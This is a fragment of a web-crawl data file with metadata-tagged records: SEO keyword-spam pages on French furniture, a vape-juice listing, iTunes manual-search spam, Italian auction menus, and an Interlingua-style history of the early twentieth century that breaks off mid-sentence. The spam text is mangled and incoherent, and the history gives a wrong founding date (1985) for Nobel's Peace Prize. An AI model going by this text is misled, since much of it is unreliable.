gratuit.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/rapidrip.info\/carte-d-invitation-repas-de-noel-gratuite\/incroyable-genial-carte-d-invitation-repas-de-noel-gratuite-et-e-invitation-noel-25-e-invitation-noel\/","date":"2019-07-21T09:02:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526940.0\/warc\/CC-MAIN-20190721082354-20190721104354-00325.warc.gz","language":"ina","language_score":0.5417674184,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.541767418384552, \"fra_Latn_score\": 0.09969820827245712, \"lat_Latn_score\": 0.04203098267316818, \"mfe_Latn_score\": 0.030092323198914528, \"sco_Latn_score\": 0.021826233714818954, \"por_Latn_score\": 0.016962304711341858, \"wes_Latn_score\": 0.015428006649017334, \"eng_Latn_score\": 0.013986310921609402, \"nrm_Latn_score\": 0.01358886156231165, \"spa_Latn_score\": 0.011909885331988335}","num_words":216,"character_repetition_ratio":0.266,"word_repetition_ratio":0.29,"special_characters_ratio":0.149,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.542,"perplexity_score":7910.5,"cluster_detection":-1} +{"text":"salon bibliothaque picture of chateau de noizay noizay tripadvisor salon bibliotheque salon avec bibliotheque ikea.\n7 conseils pour amacnager un mur en bibliothaque le blog dacco de l salon bibliotheque salon bibliotheque moderne.\nsalon bibliothaque et cheminace location dune salle de racception salon bibliotheque salon bibliotheque ikea.\nsalon bibliothaque c0834 mires paris salon bibliotheque salon bibliotheque ikea.\nsalon bibliotheque picture of hotel montfleuri paris tripadvisor salon bibliotheque bibliotheque salon ouedkniss.\nsalon bibliothaque agencement de bibliothaque et meuble sur mesure salon bibliotheque salon cosy bibliotheque.\nsalon bibliotheque picture of lenvue paris tripadvisor salon bibliotheque salon bibliotheque.\ncouleur noire et blanche deco salon bibliotheque design d salon bibliotheque salon avec bibliotheque moderne.\nmerveilleux meuble bibliotheque salon meuble bibliotheque salon salon bibliotheque bibliotheque salon ikea.\nracsultats de recherche dimages pour a petit salon bibliothaque salon bibliotheque deco salon bibliotheque design.\nterrible bibliotheque pour salon bibliotheque design pour salon salon bibliotheque horaire ouverture bibliotheque salon de provence.\npays bibliothaque salon bibliotheque sainte julie sobedateclub salon bibliotheque bibliotheque municipale boulevard aristide briand salon de provence.\nsalon bibliotheque picture of chateau de lherissaudiere pernay salon bibliotheque ouverture bibliotheque salon de provence.\n7 conseils pour amacnager un mur en bibliothaque le blog dacco de l salon bibliotheque bibliotheque salon de provence catalogue.\nla bibliothaque salon by framework studio living space salon bibliotheque ouverture bibliotheque salon de provence.\nsalon bibliothaque agencement de bibliothaque et meuble sur mesure salon bibliotheque salon bibliotheque bucuresti.\nattrayant bibliothaque salon bibliothaque salon bois salon bibliotheque decoration salon bibliotheque.\nbibliothaque dacco embellir le salon a laide du rangement salon bibliotheque horaire ouverture bibliotheque salon de provence.\nsalon bibliotheque couleur et clair obscur flickr salon bibliotheque bibliotheque salon horaires.\ninspiration bibliothaque salon bibliothaque salon ikea sellyourcarus salon bibliotheque salon avec bibliotheque moderne.\ndacco bibliothaque en 25 idaces design inspirantes a partager salon bibliotheque salon bibliotheque moderne.\nsalon traversant avec bibliothaque sur mesure en bois blanc maison salon bibliotheque bibliotheque municipale salon de provence horaires.\nbelle bibliothaque entraces sacjour salon paliers maisons salon bibliotheque salon bibliotheque basse.\nsalons et bibliothaques lignes dintacrieur laval salon bibliotheque salon bibliotheque bucuresti.\nbibliothaque tv salon table basse bacton cirac fly 20 luxe table de salon bibliotheque salon avec bibliotheque ikea.\nla bibliothacque salon framework studio archello salon bibliotheque bibliotheque salon blanc.\nle salon bibliothaque mon site spip salon bibliotheque decoration salon bibliotheque.\nsalon bibliothaque picture of le relais bernard loiseau saulieu salon bibliotheque bibliotheque salon de provence catalogue.\nsalon bibliothaque hatel juliana paris picture of hotel juliana salon bibliotheque bibliotheque municipale boulevard aristide briand salon de provence.","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/aldeapp.info\/salon-bibliotheque\/","date":"2019-09-19T08:41:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573465.18\/warc\/CC-MAIN-20190919081032-20190919103032-00209.warc.gz","language":"ina","language_score":0.4216618538,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4216618537902832, \"fra_Latn_score\": 0.3804139792919159, \"lat_Latn_score\": 0.07213883101940155, \"eng_Latn_score\": 0.02476828172802925, \"nov_Latn_score\": 0.012649757787585258}","num_words":866,"character_repetition_ratio":0.346,"word_repetition_ratio":0.208,"special_characters_ratio":0.137,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":16516.1,"cluster_detection":-1} +{"text":"promo table de jardin dedans mobilier jardin alinea table extensible alinea meuble jardin alinea aubagne salon de jardin.\ntransat de jardin alinea alinea meuble jardin alinea aubagne table de jardin.\ncanapac de jardin alinea canapac 2 places avec coussins rangiroa alinea meuble jardin alinea salon de jardin 2018.\nalinea table de jardin charmant alinea salon de jardin luxe mobilier alinea meuble jardin alinea jardin mobilier 2017.\ntable jardin extensible meuble metal alinea unique mobilier jardin alinea meuble jardin alinea aubagne meubles jardin.\nsalon de jardin alinea 2015 petit salon de jardin ikea fr photo alinea meuble jardin alinea aubagne meubles jardin.\nsalon de jardin table haute awesome table teck alinea meilleur de alinea meuble jardin alinea meuble jardin 2018.\njardin meubles de jardin et dacco alinea alinea meuble jardin mobilier de jardin alinea 2017.\nconforama meuble jardin perfect table chaises alinea de 2018 cool alinea meuble jardin alinea jardin mobilier 2018.\ntable pliante de jardin a intelligemment mobilier jardin alinea alinea meuble jardin mobilier de jardin alinea 2017.\n37 elacgant alinea salon de jardin photos salon de jardin didace alinea meuble jardin alinea meuble de jardin 2018.\njardin meubles de jardin et dacco alinea alinea meuble jardin alinea meuble jardin 2018.\ntable basse transparente alinea plus jolie alinea meuble jardin alinea meuble jardin alinea aubagne table de jardin.\nsalon de jardin exterieur alinea beautiful gallery amazing house alinea meuble jardin alinea meuble de jardin 2018.\nconsole extensible teck table rallonge mobilier jardin alinea table alinea meuble jardin alinea jardin mobilier 2017.\ntable de jardin plastique alinea best photos amazing house design alinea meuble jardin alinea aubagne salon de jardin.\ntable et chaise jardin alinea salon de jardin luxe mobilier jardin alinea meuble jardin alinea jardin mobilier 2018.\ntable basse teck alinea inspiration salon de jardin alinea 20 new alinea meuble jardin alinea table de jardin 2018.\nchaise table de jardin classic table salon de jardin inspirant alinea meuble jardin alinea aubagne meubles jardin.\ncastorama chaise de jardin salon de jardin castorama beau mobilier alinea meuble jardin alinea aubagne meubles jardin.\nsalon de jardin alinea de mobilier de jardin alinea frais castorama alinea meuble jardin alinea jardin mobilier 2018.\nsalon de jardin scoubi alinaca jeu concours pinterest a gagner alinea meuble jardin alinea table de jardin 2018.\nchaise longue jardin alinea elegant table de jardin pliante leroy alinea meuble jardin mobilier de jardin alinea 2017.\nconfort alinea jardin alinea meuble jardin conceptiondecuisinegq alinea meuble jardin alinea salon de jardin 2018.\nalinea chaise jardin alinea salon de jardin luxe mobilier jardin alinea meuble jardin alinea aubagne salon de jardin.\nsalon de jardin castorama salon de jardin aluminium castorama luxe alinea meuble jardin alinea jardin mobilier 2017.\nsalon jardin repas meilleur de alinea table d appoint meilleur de alinea meuble jardin alinea jardin mobilier 2018.\ntable ronde extensible bois table ronde blanche extensible de alinea meuble jardin mobilier de jardin alinea 2017.\naronjoicecom aronjoicecom alinea meuble jardin alinea aubagne salon de jardin.\nsalon de jardin bois alinea alinea meuble jardin alinea aubagne salon de jardin.\ntable jardin chaise encastrable avec super u mobilier de jardin alinea meuble jardin alinea aubagne table de jardin.\nchaises alinea salle a manger table rallonge mobilier jardin alinea alinea meuble jardin alinea salon de jardin 2018.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/aldeapp.info\/alinea-meuble-jardin\/","date":"2019-11-15T11:05:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668618.8\/warc\/CC-MAIN-20191115093159-20191115121159-00492.warc.gz","language":"ina","language_score":0.313693583,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3136935830116272, \"dag_Latn_score\": 0.17056363821029663, \"fra_Latn_score\": 0.10962531715631485, \"nld_Latn_score\": 0.09588514268398285, \"eus_Latn_score\": 0.037614766508340836, \"ron_Latn_score\": 0.03202513977885246, \"kjs_Latn_score\": 0.025894327089190483, \"slv_Latn_score\": 0.016079556196928024, \"swh_Latn_score\": 0.011397861875593662, \"fin_Latn_score\": 0.010737122967839241}","num_words":858,"character_repetition_ratio":0.34,"word_repetition_ratio":0.21,"special_characters_ratio":0.185,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.314,"perplexity_score":15860.7,"cluster_detection":-1} +{"text":"Product Types available in Siocon > Vape Juice\nFind the best Vape Juice in Siocon. Only at Best Vape PH.\nFeatured Brand\nAugvape Tank System\nExplore Vape Products Online available in Siocon:Cbd X Vape Juice in Siocon\nCube X Vape Juice in Siocon\nExcision Vape Juice in Siocon\nJuice Vape Yogi in Siocon\nMason X Vape Juice in Siocon\nParticle X Vape Juice in Siocon\nPlanet Vape Juice in Siocon\nProject X Vape Juice in Siocon\nSpace Jam Particle Y Vape Juice in Siocon\nTriple X Vape Juice in Siocon\nVape Juice in Siocon\nVape Juice 100ml in Siocon\nVape Juice 10ml in Siocon\nVape Juice 12mg in Siocon\nVape Juice 18mg in Siocon\nVape Juice Yakult in Siocon\nVape Juice Zamplebox in Siocon\nVape Juice Zenith in Siocon\nVape Juice Zeus in Siocon\nVape Juice Zippay in Siocon\nVape Juice Zippo in Siocon\nVape Juice Zombie Blood in Siocon\nV Juice Vape Liquid in Siocon\nWires Vape Juice in Siocon\nX2o Vape Juice in Siocon\nX2 Vape Juice in Siocon\nXeo Vape Juice in Siocon\nXo Vape Juice in Siocon\nXoxo Vape Juice in Siocon\nX Series Vape Juice in Siocon\nXtreme Vape Juice in Siocon\nZ Juice Vape in Siocon","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/www.bestvapeph.com\/products\/vape-juice-in-siocon","date":"2022-01-20T05:47:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301720.45\/warc\/CC-MAIN-20220120035934-20220120065934-00010.warc.gz","language":"ina","language_score":0.428422749,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.428422749042511, \"frp_Latn_score\": 0.16169258952140808, \"bew_Latn_score\": 0.10377827286720276, \"ita_Latn_score\": 0.04455959424376488, \"kos_Latn_score\": 0.03800110146403313, \"slv_Latn_score\": 0.0310488510876894, \"ile_Latn_score\": 0.02728212997317314, \"eng_Latn_score\": 0.019168991595506668, \"lim_Latn_score\": 0.016898633912205696, \"sco_Latn_score\": 0.011936601251363754, \"ron_Latn_score\": 0.01036736648529768}","num_words":430,"character_repetition_ratio":0.395,"word_repetition_ratio":0.164,"special_characters_ratio":0.2,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.209,"perplexity_score":12958.0,"cluster_detection":-1} +{"text":"Gebrauchsanweisung für como bajar musica de itunes al iphone zum download und ausdrucken als PDF oder die Bedienungsanleitung direkt online betrachten\ncomo bajar musica de itunes al iphone\ncomo bajar musica de itunes al iphone gratis\ncomo bajar musica de itunes al iphone 5\ncomo descargar musica de itunes al iphone\ncomo descargar musica de itunes al iphone 4\ncomo descargar musica de itunes al iphone 5\ncomo bajar musica del itunes al iphone\ncomo bajar musica desde itunes al iphone\ncomo bajar musica de itunes a iphone\ncomo bajar musica con itunes al iphone\n« Vorherige —\nSeite 1\n—\nNächste »\nWelche Bedienungsanleitung suchen Sie?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.download-handbuch.de\/anleitungen?q=como%20bajar%20musica%20de%20itunes%20al%20iphone%20gratis&pdf=","date":"2023-09-28T09:00:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510368.33\/warc\/CC-MAIN-20230928063033-20230928093033-00471.warc.gz","language":"ina","language_score":0.6100833416,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6100833415985107, \"spa_Latn_score\": 0.2515738606452942, \"cbk_Latn_score\": 0.034807927906513214, \"ast_Latn_score\": 0.01755390129983425}","num_words":208,"character_repetition_ratio":0.258,"word_repetition_ratio":0.281,"special_characters_ratio":0.182,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":0.615,"perplexity_score":5241.3,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite macchine edili dall'Europa » Aste per le vendite macchine edili INGERSOLL RAND dall'EuropaAste per le vendite CATERPILLARAste per le vendite DOOSANAste per le vendite DYNAPACAste per le vendite GENIEAste per le vendite KOMATSUAste per le vendite LIEBHERRAste per le vendite MERCEDES-BENZAste per le vendite VOLVOAste per le vendite WACKERAste per le vendite YANMAR","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-INGERSOLL-RAND-Europa--c7tm3521cgrp1.html","date":"2017-03-30T18:44:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218199514.53\/warc\/CC-MAIN-20170322212959-00160-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.5241157413,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5241157412528992, \"ita_Latn_score\": 0.2063765674829483, \"frp_Latn_score\": 0.112689308822155, \"nap_Latn_score\": 0.07447738200426102, \"lmo_Latn_score\": 0.042456306517124176, \"bew_Latn_score\": 0.016246521845459938}","num_words":142,"character_repetition_ratio":0.383,"word_repetition_ratio":0.09,"special_characters_ratio":0.17,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":0.653,"perplexity_score":3224.9,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite macchine edili dall'Europa » Aste per le vendite macchine edili HINOWA dall'EuropaAste per le vendite CATERPILLARAste per le vendite DYNAPACAste per le vendite GENIEAste per le vendite JLGAste per le vendite KOMATSUAste per le vendite LIEBHERRAste per le vendite UPRIGHTAste per le vendite VOLVOAste per le vendite WACKERAste per le vendite YANMAR","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-HINOWA-Europa--c7tm4614cgrp1.html","date":"2017-03-28T16:25:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189802.18\/warc\/CC-MAIN-20170322212949-00026-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.5816774368,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5816774368286133, \"ita_Latn_score\": 0.24230429530143738, \"nap_Latn_score\": 0.06729115545749664, \"frp_Latn_score\": 0.04486764967441559, \"lmo_Latn_score\": 0.03415966406464577}","num_words":139,"character_repetition_ratio":0.391,"word_repetition_ratio":0.092,"special_characters_ratio":0.172,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":0.74,"perplexity_score":2886.3,"cluster_detection":-1} +{"text":"NOTAS SUR LA HISTORIA DEL SECULO XX\nAdaptato per Josu Lavin, ab le obra original de Harleigh Kyson Jr – lo que est trovato in las paginas interlingua in interlingua: http:\/\/web.archive.org\/20020202184456\/www.geocities.com\/hkyson\/\nParte 1\nInfluentias Importantes del Seculo XX\nDurante le ultimo tertio del seculo XIX Europa explodió\/explodit con un forte disveloppamento economico a causa de la Revolution Industrial, que continuó\/continuat usque los primos annos del seculo XX. Iste progresso economico occurriva irregularmente con alternantes periodos de acceleration et depression economica. Il est conveniente divider iste periodo in la prima et la secunda Revolutiones Industriales.\nLa prima revolution industrial originó\/originat in Anglaterra in le seculo XVIII con la mechanization de la industria textile et la invention de la machina de vapor, et postea ista revolution se extendió\/extendit a los altros paises de Europa et de America, principalmente a los Statos Unitos. Con la evolution de technicas de mechanization, un crescente numero de productos antea facitos\/factos per artisanos nunc se facevan a melior mercato per processos industriales, et los artisanos qui anteriormente los facevan se trovavan sin empleo. Illes et la population rural tunc debevan laborar in fabricas industriales, que apparentemente offerevan a illes un medio plus securo de ganiar se la vita.\nDurante la secunda Revolution Industrial, istas tendentias augmentaron. Altras industrias comenciavan lor evolution, specialmente la industria chimica, disveloppata principalmente per Germania. Un altro factor importante fuó\/fuit le disveloppamento de novas formas de energia.\nLe uso de la electricitate, que on poteva producer solamente per accumulatores electricos in la prima parte del seculo XIX, se limitava al telegrapho. Ma con la invention del dynamo per Gramme in la ultima parte del seculo XIX, on poteva usar motores electricos pro cata machina industrial, eliminante\/eliminando la necessitate de complicatos et inefficientes systemas de transmission mechanica. Le progresso de la industria chimica anque produceva meliorationes in la production del aciero et de altros alligatos metallicos.\nLa construction de ferrovias anque fuó\/fuit un factor potentissimo in le disveloppamento economico de la secunda Revolution Industrial. In la ultima parte del seculo XIX, los principales paises europeos\/europeanos habevan completato su rete ferroviaria. La construction de tunnels\/tunneles extendeva la rete ferroviaria europea\/europeana, unificante\/unificando Francia, Switza, et Italia in una sola rete. Il anque habeva unos projectos spectacularissimos, como la completion in Russia de la ferrovia transiberiana, un linea de unos 9.900 kilometros que attingeva Vladivostok in 1902.\nLa application de la machina de vapor et postea del motor Diesel a la propulsion de naves acceleró\/accelerat le progresso de la navigation maritima, que deveniva plus secura con la invention de la radiotelegraphia de Marconi. Durante iste periodo, 79% del tonnage de transporte correspondeva al commercio europeo\/europeano et 12% al commercio americano.\nLa perfection de motores de explosion fació\/facit practico le uso de automobiles como medio de transportation, et con illos veniva la expansion de un novo systema de autostratas, que faceva plus densa la rete de transportes in los paises industrializatos.\nLa invention del telephono fació\/facit plus facile la communication instantanea electrica et rapidamente ampliava las retes de communication commercial facilitante\/facilitando la consolidation de interprisas commerciales.\nLa industria europea\/europeana trovava novos consumitores in territorios coloniales annexatos a Europa durante los ultimos decennios del seculo XIX. Inter istos imperios coloniales, le plus grande era le Imperio Britannico. A causa de omnes istas activitates, le valor del commercio international se duplicava in los primos decennios del seculo XX.\nDurante iste periodo, los paises europeos\/europeanos dominavan le commercio international. Quando la Prima Guerra Mundial comenció\/comenciat in 1914, 65% del valor total de las exportationes mundiales originava in paises europeos\/europeanos. Ma le commercio americano expandeva de 12% del total mundial a 39%. Iste commercio comenció\/comenciat con condimentos et altros productos de las colonias europeas\/europeanas et de Europa mesma. Ma quando le seculo XX comenciava, la importation de minerales et altras materias primas devenió\/devenit plus importante.\nDurante le primo periodo de la Revolution Industrial, los paises europeos\/europeanos exportavan principalmente articulos de consumption. Ma postea deveniva plus importante la exportation de machineria pro la construction de ferrovias et de fabricas in altros paises que se industrializavan.\nLas Grandes Potentias Economicas:\nAnglaterra, que comenciava la prima Revolution Industrial, era la potentia la plus grande durante le Seculo XIX. Ma quando le seculo XX comenciava, los angleses habevan tres importante competitores: Germania, Francia, et los Statos Unitos.\nLa Guerra Civil americana provocava in los Statos Unitos grande progresso economico et industrial, le qual cresceva lentamente ma accelerava durante le ultimo decennio del seculo XIX, continuante\/continuando su curso de acceleration constantemente durante le seculo XX et formante\/formando la base de la hegemonia mundial americana que comenció\/comenciat post la Secunda Guerra Mundial.\nAnglaterra, Germania, et Francia eran los paises los plus potentes de Europa, et illos dominavan los altros paises europeos\/europeanos cuja industria era ancora incipiente et cuja agricultura era povre\/paupere aut mal planificata.\nInter 1890 et 1913 la taxa annual de crescimento bruto medio era 3,9 in los Statos Unitos, 2,9 in Germania, 1,7 in Anglaterra, et 1,4 in Francia. Istos datos nos permitten verificar, de una parte, le progresso spectacular americano et, de la altra parte, le crescente disveloppamento de Germania, que deveniva la plus grande inter las grandes potentias industriales europeas\/europeanas, relegante\/relegando Anglaterra a la secunda position et Francia a la tertia a causa de sus bonissimos productos textiles et metallurgicos (aciero et industria pesante et chimica). In despecto de la hegemonia industrial germana, London continuava su hegemonia economica a causa de la prepotentia international de la libra sterling.\nForas de la area euroatlantica, solamente existeva un pais que se habeva industrializato bastante pro poter competer con las potentias euroamericanas: Japon, que ante un medio seculo se liberó\/liberat de su systema feudal et comenciava un aggressivo programma de occidentalization et industrialization. Japon non habeva multo capital et ressources naturales, ma su population era habil- et intelligentissima.\nLos japoneses se industrializaron in los sectores de armas, transporte maritimo, industria pesante, et technologia textile et architectural, imitante\/imitando los modelos occidentales de production. Le governamento central imponió\/imponit fortes impostos a su sector rural et los investiva in sus novos centros industriales, que rapidamente producevan resultatos economicos spectaculares.\nIn 1894 Japon declaró\/declarat una guerra contra China et la vinció\/vincit. Et Japon et Russia volevan occupar Manchuria. Pro resolver iste conflicto, Japon declaró\/declarat la guerra contra Russia et la vinció\/vincit in una battalia naval. Ista guerra redució\/reducit le poter del czar russo et indirectamente facilitava la revolution bolchevic\/bolchevica. Et los paises euroatlanticos nunc comprenderon que illos habevan un novo competitor in le Oriente cuja potentia cresceva constantemente.\nProsperitate et Miseria Inter los Paises Industrializatos:\nLe systema economico que accompaniava la Revolution Industrial, le capitalismo, continuava la concentration de ricchessa a in las manos de los proprietarios de las interprisas commerciales et industriales. Ista tendentia cresceva gradualmente in le seculo XIX et accelerava durante le seculo XX.\nLos proprietarios de istas interprisas volevan augmentar lores profitos al maximo possibile et pagavan lores obreros solamente bastante pro mantener los vivos in circumstantias miserabiles. Lores circumstantias sovente non davan a illes accesso a los medios de nutrition et hygiene los plus basicos. Lores tornos diurnales de labor les debilitavan physicamente usque la maladia. Illes non habevan ulle accesso a la education. Et si illes lo habuissen habito, las demandas physicas de lores horas de labor non les haberean permittito applicar se a lores studios. Mesmo las feminas et les infantes de las classes minus privilegiatas debevan laborar usque la exhaustion physica pro mantenter lores familias in istas circumstantias pessimas.\nA causa de istos problemas, los obreros de los paises industriales essayavan defender lores interesses establiente\/establiendo organizationes syndicales, que gradualmente se consolidavan et organizavan grandes agitationes sociales desde 1905. Istos syndicatos non potevan establir se in los sectores economicos ubi las conditiones de vita de los obreros era la pejor, et illes debevan limitar lores actiones politicas a sectores ubi la industrialization era la plus concentrata. In Anglaterra et Germania istos syndicatos habevan unos 4.000.000 de obreros, una taxa multo superior a illa\/la de Francia, ubi solamente 1.000.000 poteva organizar se in syndicatos.\nLe Disveloppamento del Socialismo:\nCon los syndicatos de obreros, las ideologias pro reorganizar la societate industrial crescevan. La currente la plus importante del socialismo europeo\/europeano habeva su inspiration in la doctrina de Karl Marx, qui, conjunctamente con Engels, publicó\/publicat in 1848 le Manifesto communista, que exhortava a los obreros de Europa assi: \"Proletarios de omne le mundo unite vos.\" In su forma de democratia social, le marxismo devenió\/devenit bastante forte pro eliger un solido numero de representantes a los parlamentos principales europeos\/europeanos —20% in Germania, 25% in Norvega, 20% in Belgio, et 15% in Francia. In Anglaterra le partito laborista obtineva in 1910 42% de los votos populares.\nIn Russia le partito socialdemocrata, fundato in 1898, se dividió\/dividit in sectores menchevic et bolchevic (1903). Los bolchevicos fomentaron una rebellion in 1905, que conjunctamente con la guerra russo-japonesa, debilitó\/devilitat le governamento czarista. In 1917 illes implantaron in Russia le primo regime socialista del mundo.\nLe anarchismo, plus radicalmente, voleva eliminar omnes organizationes autoritarias, includente\/includendo governamentos de ulla forma. Illes habueron su major influentia in Russia, Francia, Italia, et Espania. Los anarchistas fomentaron unos attaccos violentos de transcendentia historica in los primos decennios del seculo XX.\nNationalismo et Imperialismo:\nDurante los ultimos decennios del Seculo XIX las grandes potentias europeas\/europeanas, impulsatas per su disveloppamento economico, contendevan inter se pro ampliar sus mercatos et procurar fontes securas de materiales primos. Fortificatos per la ideologia nationalista de los paises europeos\/europeanos, illos dividevan inter se omne Africa, Asia, et Oceania.\nLa division de Africa in colonias europeas\/europeanas se faceva completamente sin prestar attention a los interesses de la population colonizata et sin considerar differentias ethnicas, culturales, aut historicas. Multas vices las divisiones geographicas de las colonias europeas\/europeanas produceron frontieras artificiales marcatas per parallelos et meridianos.\nLa Conferentia de Berlin, que habuó\/habuit un effecto historico primordial que fortificava la instabilitate ethnica et politica in le periodo de decolonization post la Secunda Guerra Mundial, fixó\/fixat tres regulas generales pro la futura occupation africana.\n(1) La possession de una zona costal dava derecto a la occupation de su territorio interior.\n(2) La base pro la possession de un territorio esserea\/serea su occupation effectiva et non los derectos historicos.\n(3) Omnes los paises haberean le derecto a navigar per los fluvios grandes.\nEcce la division colonial inter las grandes potentias ante la Prima Guerra Mundial:\nAnglaterra, un pais con una extension de 245.000 kilometros quadratos, habeva in 1914 un imperio de 33.000.000 kilometros quadratos diffundito per los cinque continentes, aut 126 vices plus grande que la Anglaterra metropolitana. Su principal area de expansion era Africa et le subcontinente hindustanico.\nFrancia dominava un imperio de unos 10.000.000 kilometros quadratos, 20 vices plus grande que su territorio national, con 55.000.000 de habitantes diffunditos principalmente per Africa ma anque per Indochina et las insulas del Pacifico.\nGermania, que habeva arrivato tardivamente a conquerir sus colonias a causa de la politica international europeista de su cancellero Bismark, interprendeva con Wilhelm II una \"politica mundial\". Quando comenció\/comenciat le seculo XX, Germania habeva colonias in Africa, Asia, et Oceania con un territorio total de 2.000.000 kilometros quadratos et 8.000.000 de habitantes.\nHollanda, post occupar le archipelago indonesiano, extendió\/extendit su dominio a Sumatra et a las Insulas Celebes et attingeva un imperio 60 vices plus grande que su territorio metropolitano.\nPortugal manteneva sus territorios africanos, Angola et Moçambique. Las ambitiones de Portugal eran unificar ambos territorios, uno al est et le altro al west, ma Anglaterra frustrava ista ambition.\nBelgio non formó\/format su imperio per initiativa national ma como una interprisa de su rege, Leopoldo II, qui creó\/creat le \"Stato Libere del Congo\" independente de Belgio ma sub su dominio personal. Ben que le rege assecurava que sus intentiones eran humanitarias et scientificas, su exploitation de iste territorio immenso de 2.500.000 kilometros quadratos era inhumano et diabolico. A causa de criticas internationales et domesticas, ille transferió\/transferit iste territorio a su pais in 1908.\nRussia possedeva un territorio extensissimo ma anque habeva ambitiones coloniales in le sud de Asia usque las frontieras de Afghanistan et Iran. Russia anque voleva le dominio de Mongolia, Manchuria, Corea, et China. Istas ambitiones confligevan con altros paises europeos\/europeanos, que controlavan sus portos principales.\nJapon, la sola nation oriental con ambitiones imperialistas, opponeva le avantiamento de los russos in Manchuria et debilitava le governamento czarista post su guerra con Russia (1904-1905), que provideva una grande surprisa a los governamentos europeos\/europeanos. Post establir su dominio sur Corea et qualques insulas in le Pacifico, los japoneses satisfaceron lores ambitiones coloniales usque la Secunda Guerra Mundial.\nLos Statos Unitos, que habevan conquerito omne su territorio in le continente nordamericano verso 1890, comenciaron una politica de expansion et colonialismo militarista durante la administration de su presidente McKinley (1897-1901), invadente\/invadendo Cuba et provocante\/provocando con Espania una guerra que los americanos ganiaron facilemente.\nA causa de ista guerra, los Statos Unitos exercitaron una specie de protectorato sur Cuba et annexaron Puerto Rico et las Philippinas. Le governamento statounitese anque conquirió\/conquirit Guam, una parte de Samoa, et las insulas de Hawaii, que eventualmente devenieron le cinquantesimo stato americano.\nPro construer le canal de Panama et controlar le territorio a su latere, los Statos Unitos divideron Columbia in duas partes, creante\/creando artificialmente un novo stato, Panama, que se submitteva completamente a los planes americanos pro controlar le novo canal inter los oceanos Atlantico et Pacifico.\nNOTAS SUR LA HISTORIA DEL SECULO XX\nParte 2\nLas Causas de la Prima Guerra Mundial:\nLa Guerra inter 1914 et 1918 fuó\/fuit le primo conflicto militar que involveva quasi omnes las potentias del mundo. Inter las causas de ista guerra on pote distinguer cinque focos de tension: (1) la rivalitate inter Germania et Francia; (2) tensiones in Marocco inter Germania et Francia, in las quales los angleses appoiavan Francia; (3) una crisis in los Balcanes inter los imperios russo et austrohungaro; (4) una cursa de armas inter las potentias europeas\/europeanas; (5) la unification de istos paises in duas alliantias grandes.\nIl est difficile mantener que uno aut duos de istos conflictos provocassen la guerra, ma illos conjunctamente crearon un ambiente de tension fortissimo que assecurava que ulle tipo de scintilla poterea provocar una guerra immediatamente. Los fabricantes de armas de omnes las potentias de Europa volevan vender lores productos lethales, et lores interesses economicos anque eran un forte factor que promoveva ista guerra.\nContraponitos\/Contrapostos a istas tendentias verso la guerra, il habeva unos complimentos internationales que, infelicemente, non eran bastante fortes pro prevenir la Prima Guerra Mundial.\nLa convention de Geneva de 1906 fuó\/fuit signata per 61 paises que se declaravan partisanos de la pace. Durante la prima convention de Geneva (1864) on habeva assecurato a los soldatos feritos le auxilio de la Cruce Rubia\/Rossa International, una organization de character humanitario que le genevese Henri Dunant habeva fundato un anno antea et que habeva un rolo humanitario grande in la Prima Guerra Mundial.\nIn 1907 la convention de la Haga assecurava la neutralitate de las naves hospital et specificava le tractamento debito a los prisioneros de guerra.\nLe financiero svedese Alfred Nobel inricchito per la industria de explosivos, establió\/establit le Premio de la Pace (1985), et le americano Andrew Carnegie inauguró\/inaugurat la Fundation International de la Pace.\nRivalitate inter Germania et Francia:\nPost la guerra inter los germanos et los franceses de 1870, los germanos annexaron los territorios de Alsacia et Lorena —un acto que provocó\/provocat in los franceses un forte sentimento antigermano, et Francia sperava poter eventualmente restaurar istos territorios a su proprio dominio. Le cancillero germano Bismark cognosceva istas intentiones et usava sus immensas habilitates diplomaticas pro neutralizar et insular Francia.\nDurante iste periodo, Anglaterra era preoccupata con mantener su grande imperio intercontinental —una circumstantia que permitteva que Bismarck instalasse su proprio imperator, Wilhelm I, in le throno 